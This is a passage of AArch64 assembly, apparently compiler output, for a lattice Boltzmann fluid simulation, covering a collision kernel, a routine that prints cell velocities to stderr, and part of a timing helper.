add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w11
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 56
adrp x0, grid
add x0, x0, :lo12:grid
add x0, x1, x0
ldr w1, [sp, 96]
str w1, [sp, 32]
ldr w1, [sp, 92]
str w1, [sp, 24]
ldr w1, [sp, 88]
str w1, [sp, 16]
str x0, [sp, 8]
str d0, [sp]
mov x2, x10
mov x1, x9
mov x0, x8
fmov d0, d8
bl lbm_kernel
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L10:
ldrsh w0, [sp, 84]
ldr w1, [sp, 96]
cmp w1, w0
blt .L11
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L9:
ldrsh w0, [sp, 86]
ldr w1, [sp, 92]
cmp w1, w0
blt .L12
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L8:
ldr w1, [sp, 88]
ldr w0, [sp, 108]
cmp w1, w0
blt .L13
mov w0, 0
ldr d8, [sp, 64]
ldp x29, x30, [sp, 48]
add sp, sp, 144
.cfi_restore 29
.cfi_restore 30
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.global lbm_kernel
.type lbm_kernel, %function
lbm_kernel:
.LFB1:
.cfi_startproc
sub sp, sp, #160
.cfi_def_cfa_offset 160
str d0, [sp, 120]
str d1, [sp, 112]
str d2, [sp, 104]
str d3, [sp, 96]
str d4, [sp, 88]
str d5, [sp, 80]
str d6, [sp, 72]
str d7, [sp, 64]
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
str x5, [sp, 16]
str x6, [sp, 8]
str x7, [sp]
ldr w0, [sp, 184]
cmp w0, 2
beq .L16
ldr w0, [sp, 184]
cmp w0, 1027
bne .L17
.L16:
ldr w0, [sp, 192]
cmp w0, 1
ble .L17
ldr w0, [sp, 192]
cmp w0, 1025
ble .L18
.L17:
ldr w0, [sp, 192]
cmp w0, 1
beq .L19
ldr w0, [sp, 192]
cmp w0, 1026
bne .L20
.L19:
ldr w0, [sp, 184]
cmp w0, 2
ble .L20
ldr w0, [sp, 184]
cmp w0, 1026
bgt .L20
.L18:
ldr x0, [sp, 56]
ldr d0, [sp, 120]
str d0, [x0]
ldr x0, [sp, 40]
ldr d0, [sp, 112]
str d0, [x0]
ldr x0, [sp, 48]
ldr d0, [sp, 104]
str d0, [x0]
ldr x0, [sp, 24]
ldr d0, [sp, 96]
str d0, [x0]
ldr x0, [sp, 32]
ldr d0, [sp, 88]
str d0, [x0]
ldr x0, [sp, 168]
ldr d0, [sp, 80]
str d0, [x0]
ldr x0, [sp]
ldr d0, [sp, 72]
str d0, [x0]
ldr x0, [sp, 8]
ldr d0, [sp, 64]
str d0, [x0]
ldr x0, [sp, 16]
ldr d0, [sp, 160]
str d0, [x0]
b .L15
.L20:
ldr d1, [sp, 112]
ldr d0, [sp, 104]
fadd d1, d1, d0
ldr d0, [sp, 96]
fadd d1, d1, d0
ldr d0, [sp, 88]
fadd d1, d1, d0
ldr d0, [sp, 80]
fadd d1, d1, d0
ldr d0, [sp, 72]
fadd d1, d1, d0
ldr d0, [sp, 64]
fadd d1, d1, d0
ldr d0, [sp, 160]
fadd d0, d1, d0
ldr d1, [sp, 120]
fadd d0, d1, d0
str d0, [sp, 144]
ldr d1, [sp, 64]
ldr d0, [sp, 96]
fadd d1, d1, d0
ldr d0, [sp, 80]
fadd d1, d1, d0
ldr d2, [sp, 160]
ldr d0, [sp, 88]
fadd d2, d2, d0
ldr d0, [sp, 72]
fadd d0, d2, d0
fsub d0, d1, d0
str d0, [sp, 128]
ldr d0, [sp, 144]
ldr d1, [sp, 128]
fdiv d0, d1, d0
str d0, [sp, 128]
ldr d1, [sp, 72]
ldr d0, [sp, 112]
fadd d1, d1, d0
ldr d0, [sp, 80]
fadd d1, d1, d0
ldr d2, [sp, 160]
ldr d0, [sp, 104]
fadd d2, d2, d0
ldr d0, [sp, 64]
fadd d0, d2, d0
fsub d0, d1, d0
str d0, [sp, 136]
ldr d0, [sp, 144]
ldr d1, [sp, 136]
fdiv d0, d1, d0
str d0, [sp, 136]
ldr w0, [sp, 184]
cmp w0, 1026
bne .L22
ldr w0, [sp, 192]
cmp w0, 1
ble .L22
ldr w0, [sp, 192]
cmp w0, 1025
bgt .L22
adrp x0, .LC1
ldr d0, [x0, #:lo12:.LC1]
str d0, [sp, 128]
str xzr, [sp, 136]
.L22:
ldr d0, [sp, 128]
fmul d1, d0, d0
ldr d0, [sp, 136]
fmul d0, d0, d0
fadd d1, d1, d0
fmov d0, 1.5e+0
fmul d0, d1, d0
str d0, [sp, 152]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 120]
fmul d1, d1, d0
adrp x0, .LC3
ldr d2, [x0, #:lo12:.LC3]
ldr d0, [sp, 144]
fmul d2, d2, d0
fmov d3, 1.0e+0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 56]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 112]
fmul d1, d1, d0
adrp x0, .LC4
ldr d2, [x0, #:lo12:.LC4]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 136]
fmov d0, 3.0e+0
fmul d3, d3, d0
fmov d0, 1.0e+0
fadd d3, d3, d0
ldr d4, [sp, 136]
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d0, [sp, 136]
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 104]
fmul d1, d1, d0
adrp x0, .LC4
ldr d2, [x0, #:lo12:.LC4]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 136]
fmov d0, 3.0e+0
fmul d0, d3, d0
fmov d3, 1.0e+0
fsub d3, d3, d0
ldr d4, [sp, 136]
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d0, [sp, 136]
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 40]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 96]
fmul d1, d1, d0
adrp x0, .LC4
ldr d2, [x0, #:lo12:.LC4]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 128]
fmov d0, 3.0e+0
fmul d3, d3, d0
fmov d0, 1.0e+0
fadd d3, d3, d0
ldr d4, [sp, 128]
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d0, [sp, 128]
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 32]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 88]
fmul d1, d1, d0
adrp x0, .LC4
ldr d2, [x0, #:lo12:.LC4]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 128]
fmov d0, 3.0e+0
fmul d0, d3, d0
fmov d3, 1.0e+0
fsub d3, d3, d0
ldr d4, [sp, 128]
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d0, [sp, 128]
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 24]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 80]
fmul d1, d1, d0
adrp x0, .LC5
ldr d2, [x0, #:lo12:.LC5]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 128]
ldr d0, [sp, 136]
fadd d3, d3, d0
fmov d0, 3.0e+0
fmul d3, d3, d0
fmov d0, 1.0e+0
fadd d3, d3, d0
ldr d4, [sp, 128]
ldr d0, [sp, 136]
fadd d4, d4, d0
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d5, [sp, 128]
ldr d0, [sp, 136]
fadd d0, d5, d0
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 16]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 72]
fmul d1, d1, d0
adrp x0, .LC5
ldr d2, [x0, #:lo12:.LC5]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 136]
ldr d0, [sp, 128]
fsub d3, d3, d0
fmov d0, 3.0e+0
fmul d3, d3, d0
fmov d0, 1.0e+0
fadd d3, d3, d0
ldr d4, [sp, 136]
ldr d0, [sp, 128]
fsub d4, d4, d0
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d5, [sp, 136]
ldr d0, [sp, 128]
fsub d0, d5, d0
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 8]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 64]
fmul d1, d1, d0
adrp x0, .LC5
ldr d2, [x0, #:lo12:.LC5]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d3, [sp, 128]
ldr d0, [sp, 136]
fsub d3, d3, d0
fmov d0, 3.0e+0
fmul d3, d3, d0
fmov d0, 1.0e+0
fadd d3, d3, d0
ldr d4, [sp, 128]
ldr d0, [sp, 136]
fsub d4, d4, d0
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d5, [sp, 128]
ldr d0, [sp, 136]
fsub d0, d5, d0
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp]
str d0, [x0]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d1, 1.0e+0
fsub d1, d1, d0
ldr d0, [sp, 160]
fmul d1, d1, d0
adrp x0, .LC5
ldr d2, [x0, #:lo12:.LC5]
ldr d0, [sp, 144]
fmul d2, d2, d0
ldr d0, [sp, 128]
fneg d3, d0
ldr d0, [sp, 136]
fsub d3, d3, d0
fmov d0, 3.0e+0
fmul d3, d3, d0
fmov d0, 1.0e+0
fadd d3, d3, d0
ldr d0, [sp, 128]
fneg d4, d0
ldr d0, [sp, 136]
fsub d4, d4, d0
fmov d0, 4.5e+0
fmul d4, d4, d0
ldr d0, [sp, 128]
fneg d5, d0
ldr d0, [sp, 136]
fsub d0, d5, d0
fmul d0, d4, d0
fadd d3, d3, d0
ldr d0, [sp, 152]
fsub d0, d3, d0
fmul d2, d2, d0
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 168]
str d0, [x0]
.L15:
add sp, sp, 160
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size lbm_kernel, .-lbm_kernel
.section .rodata
.align 3
.LC6:
.string "%0.6lf,%0.6lf,%0.6lf\n"
.text
.align 2
.global dumpVelocities
.type dumpVelocities, %function
dumpVelocities:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
mov w0, 3
str w0, [sp, 32]
b .L24
.L27:
mov w0, 2
str w0, [sp, 36]
b .L25
.L26:
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x2, [sp, 36]
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d1, [x0, 16]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x2, [sp, 36]
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 32]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 36]
sub w1, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w1
ldrsw x1, [sp, 32]
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 8]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 36]
add w1, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w1
ldrsw x1, [sp, 32]
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 24]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
ldr w0, [sp, 36]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 40]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
ldr w0, [sp, 36]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 48]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
ldr w0, [sp, 36]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 64]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
ldr w0, [sp, 36]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 56]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w1, w0, w0, ge
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x0, [sp, 36]
ldrsw x2, [sp, 32]
sxtw x4, w1
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x4, x0
add x0, x1, x0
add x0, x3, x0
ldr d0, [x0]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
ldr w0, [sp, 36]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d1, [x0, 64]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 36]
sub w1, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w1
ldrsw x1, [sp, 32]
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 8]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
ldr w0, [sp, 36]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 40]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
ldr w0, [sp, 36]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d2, [x0, 56]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 36]
add w1, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w1
ldrsw x1, [sp, 32]
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 24]
fadd d2, d2, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
ldr w0, [sp, 36]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 48]
fadd d0, d2, d0
fsub d0, d1, d0
str d0, [sp, 48]
ldr d0, [sp, 40]
ldr d1, [sp, 48]
fdiv d0, d1, d0
str d0, [sp, 48]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
ldr w0, [sp, 36]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d1, [x0, 48]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x2, [sp, 36]
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 16]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
sub w1, w0, #1
ldr w0, [sp, 36]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 40]
fadd d1, d1, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
ldr w0, [sp, 36]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d2, [x0, 56]
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x2, [sp, 36]
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 32]
fadd d2, d2, d0
ldr w0, [sp, 28]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 32]
add w1, w0, 1
ldr w0, [sp, 36]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 64]
fadd d0, d2, d0
fsub d0, d1, d0
str d0, [sp, 56]
ldr d0, [sp, 40]
ldr d1, [sp, 56]
fdiv d0, d1, d0
str d0, [sp, 56]
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x2, [x0]
ldr d2, [sp, 56]
ldr d1, [sp, 48]
ldr d0, [sp, 40]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
mov x0, x2
bl fprintf
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L25:
ldr w0, [sp, 36]
cmp w0, 1025
ble .L26
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L24:
ldr w0, [sp, 32]
cmp w0, 1026
ble .L27
nop
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size dumpVelocities, .-dumpVelocities
.align 2
.global timeval_subtract
.type timeval_subtract, %function
timeval_subtract:
.LFB3:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str x2, [sp, 8]
ldr x0, [sp, 16]
ldr x1, [x0, 8]
ldr x0, [sp, 8]
ldr x0, [x0, 8]
cmp x1, x0
bge .L29
ldr x0, [sp, 8]
ldr x1, [x0, 8]
ldr x0, [sp, 16]
ldr x0, [x0, 8]
sub x0, x1, x0
mov x1, 13531
movk x1, 0xd7b6, lsl 16
movk x1, 0xde82, lsl 32
movk x1, 0x431b, lsl 48
smulh x1, x0, x1
asr x1, x1, 18
asr x0, x0, 63
sub x0, x1, x0
add w0, w0, 1
str w0, [sp, 40]
ldr x0, [sp, 8]
ldr x1, [x0, 8]
ldr w2, [sp, 40]
mov w0, 16960
movk w0, 0xf, lsl 16
mul w0, w2, w0
sxtw x0, w0
sub x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0, 8]
ldr x0, [sp, 8]
ldr x1, [x0]
ldrsw x0, [sp, 40]
add x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0]
.L29:
ldr x0, [sp, 16]
ldr x1, [x0, 8]
ldr x0, [sp, 8]
ldr x0, [x0, 8]
sub x1, x1, x0
mov x0, 16960
movk x0, 0xf, lsl 16
cmp x1, x0
ble .L30
ldr x0, [sp, 16]
